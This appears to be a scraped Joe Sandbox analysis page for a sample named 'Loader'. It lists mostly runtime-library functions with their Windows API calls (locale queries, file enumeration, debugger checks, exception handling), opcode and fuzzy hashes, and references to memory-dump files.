Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c0fed1cb34b61ae36971a14d109869236ff69875c8b5362b3a4dda1861a3a4a8
Instruction ID: 331ba323c29fe42a42e9fb0e33e0363336fd3d690a8ca67e99a83ecf9bfde633
Opcode Fuzzy Hash: c0fed1cb34b61ae36971a14d109869236ff69875c8b5362b3a4dda1861a3a4a8
Instruction Fuzzy Hash: 3721A732B10204ABEB348F15C900E9773AEEF54BA5B968564E94AD7118F732DEC0D750

Function 00941377 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0094147F
IsValidCodePage.KERNEL32(00000000), ref: 009414BD
IsValidLocale.KERNEL32(?,00000001), ref: 009414D0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00941518
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00941533

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: f6ff4f33dba40702736f47f35b1884d2114cf9eba2b2f517f05edf8a8496d42d
Instruction ID: 30f6e74a4c1d050eb1b338f5ed4a7bf3a370adef95191de573cc4b38ee70f4d6
Opcode Fuzzy Hash: f6ff4f33dba40702736f47f35b1884d2114cf9eba2b2f517f05edf8a8496d42d
Instruction Fuzzy Hash: 56516D72A00209ABDB24DFA5CC45FBE77B8FF88741F144429F915EB1A0E7709A848B61

Function 00939DB0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: d88ad5e4ee927056509c7e63304dc72c6b3548c07f0107044f5fcc62cf9fd013
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 49022971E012199BDF14CFA9C9807AEBBB5FF88314F248269E919E7240D771AE418F91

Function 009420D9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009421C9

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2d74eb8adaf1b6ed9c2dea77d71121050215ab6bc641f8771f0af925010b3300
Instruction ID: 28b38af8a32c483d1eaad4d6b034f7cabafc7dfb6db80621c33cf17404d59c5c
Opcode Fuzzy Hash: 2d74eb8adaf1b6ed9c2dea77d71121050215ab6bc641f8771f0af925010b3300
Instruction Fuzzy Hash: 5971D175D091689FDF25AF24CC89EAEB7B9BF49304F9442D9F048A7211DB345E849F10

Function 0092F9D9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0092F9E5
IsDebuggerPresent.KERNEL32 ref: 0092FAB1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0092FACA
UnhandledExceptionFilter.KERNEL32(?), ref: 0092FAD4

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a989e965de73543617cbbbc934d9978363227b78da2a7055348a6b84ffcb4edf
Instruction ID: f839d7df67ff2ea49d092e2eba4747eacaa34f92656bca537b0edc27c73cbcfd
Opcode Fuzzy Hash: a989e965de73543617cbbbc934d9978363227b78da2a7055348a6b84ffcb4edf
Instruction Fuzzy Hash: 9231F8B5D053289BDF20DFA5DD497CDBBB8AF08300F1045AAE40CAB250E7719A849F45

Function 00941670 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009416C4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0094170E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009417D4

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 81c582e99c1116437a15db3706e3c3fad1a2bdc008ed72e876825e1285dd89a5
Instruction ID: fee19a070f4232aa73e97fffa7e1a0bebf9696e9c264ecb4d9a563f306fa593a
Opcode Fuzzy Hash: 81c582e99c1116437a15db3706e3c3fad1a2bdc008ed72e876825e1285dd89a5
Instruction Fuzzy Hash: 8561AF719102179FEB289F28CC82FBA77A8FF44351F104179E905C6285EB39E9C1DB50

Function 00937F20 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00938018
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00938022
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 0093802F

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 26e735eb93a3215050fbeb744a7c645cc0301fc79f3d0f79155cd87c91e594cb
Instruction ID: 25782ac0159c3b58e2506b360954839fd05fc85abecde8c294cfcc86edc79490
Opcode Fuzzy Hash: 26e735eb93a3215050fbeb744a7c645cc0301fc79f3d0f79155cd87c91e594cb
Instruction Fuzzy Hash: 7431D474901328ABCB21DF65DD887DDBBB8BF48310F5045EAE40CA7291EB309B858F44

Function 009301A4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 009301DC
GetSystemTimeAsFileTime.KERNEL32(?,F84A4DD6,00928FD0,?,0094BF67,000000FF,?,0092FEA4,?,00000000,00000000,?,0092FEC8,?,00928FD0,?), ref: 009301E0

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: a71f85a717e6883b9c45e803a0391e733e516048fb3b2c4022691ab974fb8a47
Instruction ID: e5af052ded2cc065ec716f4e841b2f7925a6f9c38eff383b107b7434241e23fb
Opcode Fuzzy Hash: a71f85a717e6883b9c45e803a0391e733e516048fb3b2c4022691ab974fb8a47
Instruction Fuzzy Hash: BDF03072A1C658AFC7019F45DC41B5DBBB8F748B65F00466AEC1293690DB35A900DB80

Function 00945D4E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00945CA9,?,?,00000008,?,?,0094BD9B,00000000), ref: 00945F7B

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 05bb99ac47fac44ecbeb3bcd83bed0dc77ff82568837f4398b17b49227f58b05
Instruction ID: 271b8db50eea7ddd05d7954d461ff481696744cd0d08f38d3d84aff53b6aac94
Opcode Fuzzy Hash: 05bb99ac47fac44ecbeb3bcd83bed0dc77ff82568837f4398b17b49227f58b05
Instruction Fuzzy Hash: 86B15E71610A08DFD715CF68C48AF657BE0FF45365F268698E899CF2A2C335EA81CB41

Function 0092F645 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0092F65B

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b706a730584715c069969a76849dad66c36d9a9cf1adea0bba69a633fc7ee5c9
Instruction ID: 7a66778b71d9981715406d9283805408c4e5a704e71656055a526eda8c69c896
Opcode Fuzzy Hash: b706a730584715c069969a76849dad66c36d9a9cf1adea0bba69a633fc7ee5c9
Instruction Fuzzy Hash: DFA19AB29297188FDB18CF56E8917A9BBF8FB48361F24913AD511E73A4D3349980CF50

Function 00942028 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093D3A4: HeapAlloc.KERNEL32(00000008,?,?,?,0093C2A7,00000001,00000364,?,00000003,000000FF,?,00935585,00958E90,0000000C), ref: 0093D3E5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009421C9
FindNextFileW.KERNEL32(00000000,?), ref: 009422BD
FindClose.KERNEL32(00000000), ref: 009422FC
FindClose.KERNEL32(00000000), ref: 0094232F

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 5e0cb206ee7d52945938c831022811b5448cd46f1fbfb83bd26051ae1fc02fd1
Instruction ID: ce559610a8acfb27d5b2f55af340ea2252e42cc86dc13b51cf02cdc86d021c90
Opcode Fuzzy Hash: 5e0cb206ee7d52945938c831022811b5448cd46f1fbfb83bd26051ae1fc02fd1
Instruction Fuzzy Hash: 46516875904218AFDF24EF289C84EBEB7BDEF89318F5441A9F50997201EA308D429B20

Function 00941930 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00941984

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 57fe3fd1b45849a008ab2a40f8e77b37ca9bd0bc5d03449d684bfde5da159f7f
Instruction ID: 3fd3a61d5c180c8cf915a6550fa034d9260ff8b15ad134e6f7fadce45219e37d
Opcode Fuzzy Hash: 57fe3fd1b45849a008ab2a40f8e77b37ca9bd0bc5d03449d684bfde5da159f7f
Instruction Fuzzy Hash: 5E21C572610206ABDB289E65EC52FBB73ACEF44311F10007AF906D7181EB35ED809B50

Function 009340A2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00934226

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 4bd0eb6af48cb1e09036bc0a632ebf050a1ed1f494595e6da78b9860e95e5ca8
Instruction ID: 029d8425760d5e1bbc37805054421f6da8e35882db23dc4b6632b212234102e2
Opcode Fuzzy Hash: 4bd0eb6af48cb1e09036bc0a632ebf050a1ed1f494595e6da78b9860e95e5ca8
Instruction Fuzzy Hash: C9B11830904A0A8BCF28CFA8C9556BFBBB9EF61300F16061DE5A2A7691C734BD41CF51

Function 009415C8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

EnumSystemLocalesW.KERNEL32(00941670,00000001,00000000,?,-00000050,?,00941453,00000000,-00000002,00000000,?,00000055,?), ref: 0094163A

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 40f69896cc0de8de5911b438832620c5f122d845a43d000927d4447b5e5eabe6
Instruction ID: a9472fe8744780abcb9c96fa2d1d80d4e6fd3ddb766f5643fad185bd7492efd2
Opcode Fuzzy Hash: 40f69896cc0de8de5911b438832620c5f122d845a43d000927d4447b5e5eabe6
Instruction Fuzzy Hash: E1110C372007059FDB189F79D8A1ABAB795FFC4359B19442CE58747740D771B982CB40

Function 00941A50 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00941AA4

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2466f622f717429d8eb71b4c72a75b84b27a9b8f219ed3283c78eb50aa7bb9c8
Instruction ID: eb8dd2398f878d39c7089d043d2a45b86c3dce4e3cb3614a0a4a33e5def45fc4
Opcode Fuzzy Hash: 2466f622f717429d8eb71b4c72a75b84b27a9b8f219ed3283c78eb50aa7bb9c8
Instruction Fuzzy Hash: E4110E72611606ABDB18AF69DC42EBB77ECEF84321F10417AF502D7241EB38ED449B90

Function 00941BFD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0094188C,00000000,00000000,?), ref: 00941C29

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fc4e408570edb8d4d90bede62beacb455df26569fabf5c2a3b473967465b1c0b
Instruction ID: f70028d17d74c488c2550bec7b3ccf0f704623a868dbaebf8e812457e8a061a6
Opcode Fuzzy Hash: fc4e408570edb8d4d90bede62beacb455df26569fabf5c2a3b473967465b1c0b
Instruction Fuzzy Hash: 6201FE32750212ABDB285764CCC5FBF7768EB40756F154829EC86A3280EA34FE81C690

Function 009418C3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

EnumSystemLocalesW.KERNEL32(00941930,00000001,?,?,-00000050,?,0094141B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0094190D

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ff1da80e3158df106676f4bc4458ff56c0fa45bd49e40265d9c3dd0f2ab97688
